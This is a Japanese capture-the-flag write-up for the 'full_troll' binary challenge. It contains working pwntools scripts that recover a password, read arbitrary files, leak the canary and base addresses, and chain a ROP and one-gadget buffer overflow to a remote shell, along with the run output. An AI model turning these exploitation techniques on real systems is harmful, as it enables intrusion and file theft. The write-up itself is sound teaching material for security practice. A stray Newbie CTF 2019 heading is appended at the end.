※ 関数名や変数名などは、読みやすいように調整しています。

XORしているだけなので、末尾のXから辿ることができそうです。 パスワードと復号して、入力するスクリプトを作成しました。

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./full_troll"
LIBC = ""
HOST = "200.136.252.31"
PORT = 2222

def exploit(con, elf, libc, rop):
    xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97]
    buf = ["X"] * 23
    for i in reversed(range(1, 23)):
        buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i])
    passwd = "".join(buf)
    con.sendlineafter("Welcome my friend. Tell me your password.\n", passwd)

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、URL（http://troll.harpa.world）が出てきました。

$ python exploit.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] Switching to interactive mode
http://troll.harpa.world
Welcome my friend. Tell me your password.
$

アクセスしてみると、以下のような画像が表示されました。

この画像を調べてみましたが、何も見つかりませんでした。おそらくダミーです。

画像の調査をあきらめ、パスワードチェックの処理を見直しました。 パスワードのチェックは、まずstrlenでバッファのサイズを確認してから、パスワードのチェックをしています。 strlenは、NULL文字までを文字数として判定しているため、パスワードの後にNULL文字を挟めば、パスワードチェックをパスしたまま先の処理に進めさせることができそうです。 まずは、文字入力でNULL文字を挟めるかどうかを確認してみます。

※ 関数名や変数名などは、読みやすいように調整しています。

fgetcがエラーを返す、もしくは改行が入力されるまで、ユーザの入力を受け付けるようになっていました。 よって、NULL文字も入力できるということが分かりました。

実際にパスワード後にNULL文字を挟み、適当な文字を10文字書き込むスクリプトを作って確認しました。

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./full_troll"
LIBC = ""
HOST = "200.136.252.31"
PORT = 2222

def get_passwd():
    xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97]
    buf = ["X"] * 23
    for i in reversed(range(1, 23)):
        buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i])
    return "".join(buf)

def exploit(con, elf, libc, rop):
    passwd = get_passwd()
    log.info("passwd: {}".format(passwd))

    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * 10
    log.info("payload: {}".format(payload))
    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、Unable to open AAcret.txt file! と表示されました。 AA でファイル名を上書きされていることが確認できます。

$ python exploit.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] passwd: VibEv7xCXyK8AjPPRjwtp9X
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAAA'
[*] Switching to interactive mode
Unable to open AAcret.txt file!
Welcome my friend. Tell me your password.
$

ファイルを自由に読み出せることが分かったので、ファイル読出し用のスクリプトを作成しました。

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./full_troll"
LIBC = ""
HOST = "200.136.252.31"
PORT = 2222

def get_passwd():
    xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97]
    buf = ["X"] * 23
    for i in reversed(range(1, 23)):
        buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i])
    return "".join(buf)

def read_file(con, passwd, path):
    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * 8
    payload += path.encode("utf-8")
    payload += b"\x00\n"
    log.info("payload: {}".format(payload))

    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    delim = "Welcome my friend. Tell me your password."
    return con.readuntil(delim).decode("utf-8").split(delim)[0]

def exploit(con, elf, libc, rop):
    passwd = get_passwd()
    log.info("passwd: {}".format(passwd))

    while True:
        path = input("input path> ")
        file_data = read_file(con, passwd, path)
        log.info("file_data: {}".format(file_data))

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

色々読み出してみましたが、フラグは確認できませんでした。 シェルを取らないとダメそうです。

$ python exploit.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] passwd: VibEv7xCXyK8AjPPRjwtp9X
input path> secret.txt
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAsecret.txt\x00\n'
[*] file_data: http://troll.harpa.world
input path> flag.txt
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAflag.txt\x00\n'
[*] file_data: http://troll.harpa.world
input path> /etc/passwd
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/etc/passwd\x00\n'
[*] file_data: root:x:0:0:root:/root:/bin/bash
input path> /etc/hosts
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/etc/hosts\x00\n'
[*] file_data: 127.0.0.1 localhostot:/bin/bash
input path> /etc/os-release
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/etc/os-release\x00\n'
[*] file_data: NAME="Ubuntu"alhostot:/bin/bash

一度ファイルの調査をあきらめ、gdb-pedaで文字列入力後のスタックを眺めていると、近くにカナリア値（0xd718cd071b17b500）があることに気付きました。

[----------------------------------registers-----------------------------------]
RAX: 0x18 
RBX: 0x0 
RCX: 0x7ffff7b00360 (<__read_nocancel+7>:       cmp    rax,0xfffffffffffff001)
RDX: 0xa ('\n')
RSI: 0x7ffff7dd59f0 --> 0x0 
RDI: 0x7ffff7dd4640 --> 0xfbad2288 
RBP: 0x7fffffffe4c0 --> 0x0 
RSP: 0x7fffffffe450 --> 0x0 
RIP: 0x555555554f4a (lea    rax,[rbp-0x50])
R8 : 0x7ffff7fed740 (0x00007ffff7fed740)
R9 : 0x0 
R10: 0x22 ('"')
R11: 0x246 
R12: 0x5555555548f0 (xor    ebp,ebp)
R13: 0x7fffffffe5a0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555554f3f:      mov    rsi,rdx
   0x555555554f42:      mov    rdi,rax
   0x555555554f45:      call   0x555555554e5d
=> 0x555555554f4a:      lea    rax,[rbp-0x50]
   0x555555554f4e:      mov    rdi,rax
   0x555555554f51:      call   0x555555554a53
   0x555555554f56:      mov    DWORD PTR [rbp-0x64],eax
   0x555555554f59:      cmp    DWORD PTR [rbp-0x64],0x1
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe450 --> 0x0 
0008| 0x7fffffffe458 --> 0x7fffffffe5b8 --> 0x7fffffffe7f4 ("HOSTNAME=69a66ad2ab17")
0016| 0x7fffffffe460 --> 0x555555757010 --> 0x0 
0024| 0x7fffffffe468 --> 0x7fffffffe4e0 --> 0x100000001 
0032| 0x7fffffffe470 ("AAAAAAAABBBBBBBBCCCCCCCC")
0040| 0x7fffffffe478 ("BBBBBBBBCCCCCCCC")
0048| 0x7fffffffe480 ("CCCCCCCC")
0056| 0x7fffffffe488 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000555555554f4a in ?? ()
gdb-peda$ stack 20
0000| 0x7fffffffe450 --> 0x0 
0008| 0x7fffffffe458 --> 0x7fffffffe5b8 --> 0x7fffffffe7f4 ("HOSTNAME=69a66ad2ab17")
0016| 0x7fffffffe460 --> 0x555555757010 --> 0x0 
0024| 0x7fffffffe468 --> 0x7fffffffe4e0 --> 0x100000001 
0032| 0x7fffffffe470 ("AAAAAAAABBBBBBBBCCCCCCCC")
0040| 0x7fffffffe478 ("BBBBBBBBCCCCCCCC")
0048| 0x7fffffffe480 ("CCCCCCCC")
0056| 0x7fffffffe488 --> 0x0 
0064| 0x7fffffffe490 ("secret.txt")
0072| 0x7fffffffe498 --> 0x7478 ('xt')
0080| 0x7fffffffe4a0 --> 0x0 
0088| 0x7fffffffe4a8 --> 0x0 
0096| 0x7fffffffe4b0 --> 0x0 
0104| 0x7fffffffe4b8 --> 0xd718cd071b17b500 
0112| 0x7fffffffe4c0 --> 0x0 
0120| 0x7fffffffe4c8 --> 0x7ffff7a32f45 (<__libc_start_main+245>:       mov    edi,eax)
0128| 0x7fffffffe4d0 --> 0x7fffffffe5a8 --> 0x7fffffffe7d0 ("/root/workdir/full_troll/full_troll")
0136| 0x7fffffffe4d8 --> 0x7fffffffe5a8 --> 0x7fffffffe7d0 ("/root/workdir/full_troll/full_troll")
0144| 0x7fffffffe4e0 --> 0x100000001 
0152| 0x7fffffffe4e8 --> 0x555555554ead (push   rbp)
gdb-peda$ 

カナリア値の直前まで文字列で埋め、ファイル名が見つからなかった時のエラー表示を利用してカナリア値をリークさせることができそうです。 エラー表示をしている関数のデコンパイル結果は、以下の通りです。

※ 関数名や変数名などは、読みやすいように調整しています。

カナリア値の下位1バイトは、かならず\x00となっています。 エラー表示は、%.*s で表示をしているので、下位1バイトのところまで適当な文字列で埋める必要があります。 73バイトでカナリア値をリークさせることができました。

以下、作成したスクリプトになります。

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./full_troll"
LIBC = ""
HOST = "200.136.252.31"
PORT = 2222

def get_passwd():
    xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97]
    buf = ["X"] * 23
    for i in reversed(range(1, 23)):
        buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i])
    return "".join(buf)

def exploit(con, elf, libc, rop):
    passwd = get_passwd()
    log.info("passwd: {}".format(passwd))

    offset = 73
    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * (offset - len(payload))
    log.info("payload: {}".format(payload))

    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    ret = con.readuntil(" file!")
    canary = int.from_bytes(ret[-13:-6], "little") << 8
    log.info("canary: {}".format(hex(canary)))

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、カナリア値が表示されます。

$ python exploit.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] passwd: VibEv7xCXyK8AjPPRjwtp9X
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[*] canary: 0x6219120790ec1700
[*] Switching to interactive mode

Welcome my friend. Tell me your password.
$

カナリア値をリークさせることができたので、バッファオーバーフローで攻めることができそうです。 バッファオーバーフローで攻めるために、実行時のベースアドレスとlibcのベースアドレスが必要です。

まずは、実行時のベースアドレスについて調査を進めます。 現状ファイルが自由に読み出せる状態にあるので、ASLRが有効になっているかを確認してみます。

$ python exploit_readfile.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] passwd: VibEv7xCXyK8AjPPRjwtp9X
input path> /proc/sys/kernel/randomize_va_space
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/proc/sys/kernel/randomize_va_space\x00\n'
[*] file_data: 2
input path>

/proc/sys/kernel/randomize_va_space が 2 になっているので、ASLRが有効になっているようです。 どうにかして実行時にベースアドレスをリークさせる必要があるようです。 色々調査していると、/proc/self/maps からベースアドレスが求められそうだと気づきました。

$ python exploit_readfile.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] passwd: VibEv7xCXyK8AjPPRjwtp9X
input path> /proc/self/maps
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/proc/self/maps\x00\n'
[*] file_data: 564a295b7000-564a295b9000 r-xp 00000000 fd:01 1030221                    /home/chall/chall
input path>

上記の場合、0x564a295b7000 がベースアドレスとなります。 ベースアドレスを自動で読み取るようにスクリプトを調整しました。

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./full_troll"
LIBC = ""
HOST = "200.136.252.31"
PORT = 2222

def get_passwd():
    xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97]
    buf = ["X"] * 23
    for i in reversed(range(1, 23)):
        buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i])
    return "".join(buf)

def read_file(con, passwd, path):
    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * 8
    payload += path.encode("utf-8")
    payload += b"\x00\n"
    log.info("payload: {}".format(payload))

    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    delim = "Welcome my friend. Tell me your password."
    return con.readuntil(delim).decode("utf-8").split(delim)[0]

def leak_canary(con, passwd):
    offset = 73
    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * (offset - len(payload))
    log.info("payload: {}".format(payload))

    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    ret = con.readuntil(" file!")
    return int.from_bytes(ret[-13:-6], "little") << 8

def leak_base_addr(con, passwd):
    path = "/proc/self/maps"
    file_data = read_file(con, passwd, path)
    log.info("{}: {}".format(path, file_data))
    return int(file_data.split("-")[0], 16)

def exploit(con, elf, libc, rop):
    passwd = get_passwd()
    log.info("passwd: {}".format(passwd))

    canary = leak_canary(con, passwd)
    log.info("canary: {}".format(hex(canary)))

    base_addr = leak_base_addr(con, passwd)
    log.info("base_addr: {}".format(hex(base_addr)))

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると以下のようになります。

$ python exploit.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] password: VibEv7xCXyK8AjPPRjwtp9X
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[*] canary: 0x443d1af03cdbe100
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/proc/self/maps\x00\n'
[*] /proc/self/maps: 555686ef8000-555686efa000 r-xp 00000000 fd:01 259722                     /home/chall/chall
[*] base_addr: 0x555686ef8000
[*] Switching to interactive mode

555686ef8000-555686efa000 r-xp 00000000 fd:01 259722                     /home/chall/chall
Welcome my friend. Tell me your password.
$

ベースアドレスを自動で取得することができるようになりました。 次にlibcのベースアドレスを求めていきます。 そのために、putsのgotのアドレスをリークさせ、そこから逆算して求めます。

今回は、putsを呼び出して、putsのgotをリークさせます。 書き換えることができるリターンアドレスは、mainのリターンアドレスなので、まずは、mainの終了条件を調べます。

※ 関数名や変数名などは、読みやすいように調整しています。

ファイルの読み出しに失敗したときに、Unknown errorで終了するようです。 ファイル名の指定箇所に\x00を入れておけば、条件を満たせそうです。

条件が整ったので、実際にスクリプトを作成します。 また、putsのgotをリークさせた後、mainを読み出して、再度バッファオーバーフローを起こせるようにしています。

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./full_troll"
LIBC = ""
HOST = "200.136.252.31"
PORT = 2222

def get_passwd():
    xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97]
    buf = ["X"] * 23
    for i in reversed(range(1, 23)):
        buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i])
    return "".join(buf)

def read_file(con, passwd, path):
    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * 8
    payload += path.encode("utf-8")
    payload += b"\x00\n"
    log.info("payload: {}".format(payload))

    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    delim = "Welcome my friend. Tell me your password."
    return con.readuntil(delim).decode("utf-8").split(delim)[0]

def leak_canary(con, passwd):
    offset = 73
    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * (offset - len(payload))
    log.info("payload: {}".format(payload))

    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    ret = con.readuntil(" file!")
    return int.from_bytes(ret[-13:-6], "little") << 8

def leak_base_addr(con, passwd):
    path = "/proc/self/maps"
    file_data = read_file(con, passwd, path)
    log.info("{}: {}".format(path, file_data))
    return int(file_data.split("-")[0], 16)

def exploit(con, elf, libc, rop):
    passwd = get_passwd()
    log.info("passwd: {}".format(passwd))

    canary = leak_canary(con, passwd)
    log.info("canary: {}".format(hex(canary)))

    base_addr = leak_base_addr(con, passwd)
    log.info("base_addr: {}".format(hex(base_addr)))

    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
    puts_got = elf.got[b"puts"]
    puts_symbol = elf.symbols[b"puts"]
    main_symbol = 0xead

    log.info("pop_rdi: {}".format(hex(pop_rdi)))
    log.info("puts_got: {}".format(hex(puts_got)))
    log.info("puts_symbol: {}".format(hex(puts_symbol)))
    log.info("main_symbol: {}".format(hex(main_symbol)))

    rop.raw(base_addr + pop_rdi)
    rop.raw(base_addr + puts_got)
    rop.raw(base_addr + puts_symbol)
    rop.raw(base_addr + main_symbol)

    offset = 72
    payload = passwd.encode("utf-8")
    payload += b"\x00" * (offset - len(payload))
    payload += pack(canary)
    payload += pack(0)
    payload += rop.chain()
    log.info("payload: {}".format(payload))
    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    con.readuntil("Unknown error")
    ret = con.readuntil("\n").strip()

    puts_addr = int.from_bytes(ret, "little")
    log.info("puts_addr: {}".format(hex(puts_addr)))

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると以下のようになります。

$ python exploit.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] password: VibEv7xCXyK8AjPPRjwtp9X
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[*] canary: 0x4825f2e85b094000
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/proc/self/maps\x00\n'
[*] /proc/self/maps: 55fe548f0000-55fe548f2000 r-xp 00000000 fd:01 259722                     /home/chall/chall
[*] base_addr: 0x55fe548f0000
[*] pop_rdi: 0x10a3
[*] puts_got: 0x201f88
[*] puts_symbol: 0x840
[*] main_symbol: 0xead
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\t[\xe8\xf2%H\x00\x00\x00\x00\x00\x00\x00\x00\xa3\x10\x8fT\xfeU\x00\x00\x88\x1f\xafT\xfeU\x00\x00@\x08\x8fT\xfeU\x00\x00\xad\x0e\x8fT\xfeU\x00\x00'
[*] puts_addr: 0x7f42b16779c0
[*] Switching to interactive mode
Welcome my friend. Tell me your password.
$

putsのgotのアドレスのリークができました。 リークしたアドレスからlibcのputsのオフセットを引けば、libcのベースアドレスが求まります。 今回は、libcが提供されていないので、リークさせたputsのgotのアドレスからlibcのバージョンを検索してみます。 以下のサイトで、検索することができます。

libc.blukat.me

実際に検索してみると、今回はlibc6_2.27-3ubuntu1_amd64.so だと判明しました。

libcのベースアドレスを求める条件が整いました。 後は、One-gadget RCEでシェルが取れそうです。 One-gadget RCEのアドレスは、one_gadget（https://github.com/david942j/one_gadget）で求めることができます。

$ one_gadget libc6_2.27-3ubuntu1_amd64.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

今回は、3パターンのアドレスが出てきました。 これで、すべての条件が整いました。最終的なスクリプトは、以下のようになります。

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./full_troll"
LIBC = "./libc6_2.27-3ubuntu1_amd64.so"
HOST = "200.136.252.31"
PORT = 2222

def find_one_gadgets(filename):
    return list(map(int, subprocess.check_output(["one_gadget", "--raw", filename]).decode("utf-8").split(" ")))

def get_passwd():
    xor_keys = [0,63,11,39,51,65,79,59,27,33,50,115,121,43,58,0,2,56,29,3,4,73,97]
    buf = ["X"] * 23
    for i in reversed(range(1, 23)):
        buf[i-1] = chr(ord(buf[i]) ^ xor_keys[i])
    return "".join(buf)

def read_file(con, passwd, path):
    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * 8
    payload += path.encode("utf-8")
    payload += b"\x00\n"
    log.info("payload: {}".format(payload))

    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    delim = "Welcome my friend. Tell me your password."
    return con.readuntil(delim).decode("utf-8").split(delim)[0]

def leak_canary(con, passwd):
    offset = 73
    payload = passwd.encode("utf-8")
    payload += b"\x00"
    payload += b"A" * (offset - len(payload))
    log.info("payload: {}".format(payload))

    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    ret = con.readuntil(" file!")
    return int.from_bytes(ret[-13:-6], "little") << 8

def leak_base_addr(con, passwd):
    path = "/proc/self/maps"
    file_data = read_file(con, passwd, path)
    log.info("{}: {}".format(path, file_data))
    return int(file_data.split("-")[0], 16)

def leak_puts_addr(con, elf, rop, passwd, canary, base_addr):
    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
    puts_got = elf.got[b"puts"]
    puts_symbol = elf.symbols[b"puts"]
    main_symbol = 0xead

    log.info("pop_rdi: {}".format(hex(pop_rdi)))
    log.info("puts_got: {}".format(hex(puts_got)))
    log.info("puts_symbol: {}".format(hex(puts_symbol)))
    log.info("main_symbol: {}".format(hex(main_symbol)))

    rop.raw(base_addr + pop_rdi)
    rop.raw(base_addr + puts_got)
    rop.raw(base_addr + puts_symbol)
    rop.raw(base_addr + main_symbol)

    offset = 72
    payload = passwd.encode("utf-8")
    payload += b"\x00" * (offset - len(payload))
    payload += pack(canary)
    payload += pack(0)
    payload += rop.chain()
    log.info("payload: {}".format(payload))
    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)
    con.readuntil("Unknown error")
    ret = con.readuntil("\n").strip()

    return int.from_bytes(ret, "little")

def exploit(con, elf, libc, rop):
    passwd = get_passwd()
    log.info("passwd: {}".format(passwd))

    canary = leak_canary(con, passwd)
    log.info("canary: {}".format(hex(canary)))

    base_addr = leak_base_addr(con, passwd)
    log.info("base_addr: {}".format(hex(base_addr)))

    puts_addr = leak_puts_addr(con, elf, rop, passwd, canary, base_addr)
    log.info("puts_addr: {}".format(hex(puts_addr)))

    libc_base = puts_addr - libc.symbols[b"puts"]
    log.info("libc_base: {}".format(hex(libc_base)))

    one_gadgets = find_one_gadgets(LIBC)
    log.info("one_gadgets: {}".format([hex(x) for x in one_gadgets]))

    offset = 72
    payload = passwd.encode("utf-8")
    payload += b"\x00" * (offset - len(payload))
    payload += pack(canary)
    payload += pack(0)
    payload += pack(libc_base + one_gadgets[0])
    log.info("payload: {}".format(payload))
    con.sendlineafter("Welcome my friend. Tell me your password.\n", payload)

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、シェルを取ることができました。

$ python exploit.py REMOTE
[+] Opening connection to 200.136.252.31 on port 2222: Done
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './full_troll'
[*] password: VibEv7xCXyK8AjPPRjwtp9X
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[*] canary: 0x4825f2e85b094000
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/proc/self/maps\x00\n'
[*] /proc/self/maps: 55fe548f0000-55fe548f2000 r-xp 00000000 fd:01 259722                     /home/chall/chall
[*] base_addr: 0x55fe548f0000
[*] pop_rdi: 0x10a3
[*] puts_got: 0x201f88
[*] puts_symbol: 0x840
[*] main_symbol: 0xead
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\t[\xe8\xf2%H\x00\x00\x00\x00\x00\x00\x00\x00\xa3\x10\x8fT\xfeU\x00\x00\x88\x1f\xafT\xfeU\x00\x00@\x08\x8fT\xfeU\x00\x00\xad\x0e\x8fT\xfeU\x00\x00'
[*] puts_addr: 0x7f42b16779c0
[*] libc_base: 0x7f42b15f7000
[*] one_gadgets: ['0x4f2c5', '0x4f322', '0x10a38c']
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\t[\xe8\xf2%H\x00\x00\x00\x00\x00\x00\x00\x00\x8c\x13p\xb1B\x7f\x00\x00'
[*] Switching to interactive mode
Unknown error$ id
uid=1001(chall) gid=1001(chall) groups=1001(chall)
$ ls
_r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt
chall
flag.txt
sacred
secret.txt
setup.sh
$ cat _r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt
CTF-BR{Fiiine...Im_not_ashamed_to_say_that_the_expected_solution_was_reading_/dev/fd/../maps_How_did_y0u_s0lve_1t?}
$

FLAG

CTF-BR{Fiiine...Im_not_ashamed_to_say_that_the_expected_solution_was_reading_/dev/fd/../maps_How_did_y0u_s0lve_1t?}

Newbie CTF 2019 Writeup

Newbie CTF 2019 について

Newbie CTF 2019 が開催されました。
2019年11月02日午前0時～2019年11月03日午前0時（24時間）
※ 開始後に何度かサーバトラブルがあり、結局3時間延長となりました。

nctf.vulnerable.kr

